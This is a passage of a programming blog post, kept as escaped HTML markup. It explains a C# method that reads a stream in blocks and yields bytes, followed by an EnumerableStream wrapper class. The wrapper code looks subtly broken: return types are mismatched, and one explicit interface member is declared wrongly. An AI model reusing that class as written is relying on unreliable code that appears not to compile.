class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;     &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And in case it&#39;s not obvious, I&#39;ll explain what this little guy does. It does a block read from the stream (adjust your &lt;code&gt;blocksize&lt;/code&gt; to suit or make it a parameter), iterates over the block, uses the &lt;code&gt;yield&lt;/code&gt; keyword to return bytes via the &lt;code&gt;IEnumerable&amp;lt;T&amp;gt;&lt;/code&gt; interface. The &lt;code&gt;while&lt;/code&gt; loop checks the return value of &lt;code&gt;stream.Read()&lt;/code&gt; to see if it returns zero, which means, basically, the stream is done (EOF). If there was a partial read (e.g. less than your &lt;code&gt;blocksize&lt;/code&gt; buffer) &lt;code&gt;bytesRead&lt;/code&gt; will be the amount that DID successfully read, and so your &lt;code&gt;for&lt;/code&gt; loop that is iterating over the block uses &lt;code&gt;bytesRead&lt;/code&gt; to ensure we only return valid data (if we had used &lt;code&gt;buffer.Length&lt;/code&gt; or &lt;code&gt;blockSize&lt;/code&gt;, and had a partial read, the stuff after the &amp;quot;new data&amp;quot; would be data from the last read. NOT COOL!).&lt;/p&gt;&#xA;&lt;p&gt;You could stick this method in your utility class if you&#39;d like, or make a wrapper class that wraps &lt;code&gt;Stream&lt;/code&gt; and implements &lt;code&gt;IEnumerable&amp;lt;byte&amp;gt;&lt;/code&gt;... whatever you want. Maybe you want to be all modern and cool and make it an extension method for &lt;code&gt;Stream&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s an example wrapper class:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;EnumerableStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;readonly&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Stream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EnumerableStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Stream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytes&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBytesFromStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;IEnumerator&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBytesFromStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Stream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;blockSize&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1024&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;blockSize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;++)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;yield&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CanRead&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CanRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CanSeek&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CanSeek&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CanWrite&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CanWrite&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Flush&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Flush&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Position&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Position&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Position&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;38&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;39&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Seek&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SeekOrigin&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;origin&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Seek&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;origin&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;41&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SetLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SetLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;43&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span 